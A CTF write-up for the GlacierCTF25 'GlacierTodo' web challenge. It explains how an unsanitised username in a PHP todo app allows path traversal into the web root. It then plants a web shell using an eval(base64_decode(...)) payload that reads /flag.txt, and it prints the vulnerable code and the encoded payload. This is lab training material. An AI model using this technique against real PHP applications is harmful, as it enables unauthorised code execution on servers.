saiger.dev

CTF Writeup - GlacierCTF25 - GlacierTodo

Published: 2025-11-23 − Reading Time: 2.5 minutes

Glacier-ToDo

https://github.com/LosFuzzys/GlacierCTF2025_writeups/tree/main/web/glacier-todo

TLDR;: path traversal on on the username allows you to write arbitrary files and read json encoded files. You can write to e.g. /var/www/html/test.php and run arbitrary PHP code.


Overview

The app provides you with an API endpoint allowing you to perform 6 actions:

Investigating the source code we can see, that the flag is located under /flag.txt and there is no code using it, though we need to perform a RCE (Remote Code Execution).

Exploit

For exploiting the app, the only relevant files is api.php as all the others are just static files.

Taking a closer look at the registration

elseif($path === "/account/register") {
  $username = isset($_POST["username"]) ? filter_input(INPUT_POST, "username") : '';
  $password = isset($_POST["password"]) ? filter_input(INPUT_POST, "password") : '';
  $users = json_decode(file_get_contents(USERS));
  foreach($users as $user)
    if($user->username === $username) goto fail;

  $users[] = array(
    "username" => $username,
    "password" => password_hash($password, PASSWORD_DEFAULT)
  );
  file_put_contents(USERS, json_encode($users));
}

we can see, that the username and password are not properly sanitized, as filter_input uses FILTER_DEFAULT a.k.a. FILTER_UNSAFE_RAW by default.

We can make use of that when adding a todo

elseif($path === "/todos/add") {
  $isLoggedIn = isset($_SESSION[SESS]);
  if(!$isLoggedIn) goto fail;
  $user = $_SESSION[SESS];
  if(!file_exists(TODOS . "/" . $user)) file_put_contents(TODOS . "/" . $user, "[]");
  $todos = json_decode(file_get_contents(TODOS . "/" . $user));
  $name = isset($_POST["name"]) ? filter_input(INPUT_POST, "name") : '';
  $desc = isset($_POST["desc"]) ? filter_input(INPUT_POST, "desc") : '';
  $todos[] = array(
    "id" => uniqid(),
    "name" => $name,
    "desc" => $desc
  );
  file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));
}

Note, that we use TODOS . "/" . $user in file_put_contents and we control the $user variable during registration.

Path Traversal

Given the attack vectors, we can exploit the program by leveraging this code segment here by performing a path traversal using the $user variable.

file_put_contents(TODOS . "/" . $user, json_encode(array_values($todos)));

So by setting the username to e.g. ../../var/www/html/test.php evaluates to /tmp/todos/../../var/www/html/test.php resp. /var/www/html/test.php during the runtime.

As neither name and desc are properly validated either, we can write php code in there using the <?php tag.

Keep in mind though, that $todos is json encoded, so characters like / and " will get escaped with a backslash.

Therefore, we can NOT directly read the file content using file_get_contents

<?php echo file_get_contents('/flag.txt'); ?>

This will fail due to json_encode will rewrite it to

<?php echo file_get_contents('\/flag.txt'); ?>

so it will fail to run. You can however, easily bypass this, using eval and base64_decode.

$ echo "echo file_get_contents('/flag.txt');" | base64

giving you ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7Cg==

Now, you can the name to <?php eval(base64_decode('ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7Cg==')); ?> and afterwards go to <DOMAIN>/test.php and retrieve the flag.

Solve Script

You can check out the solve script here.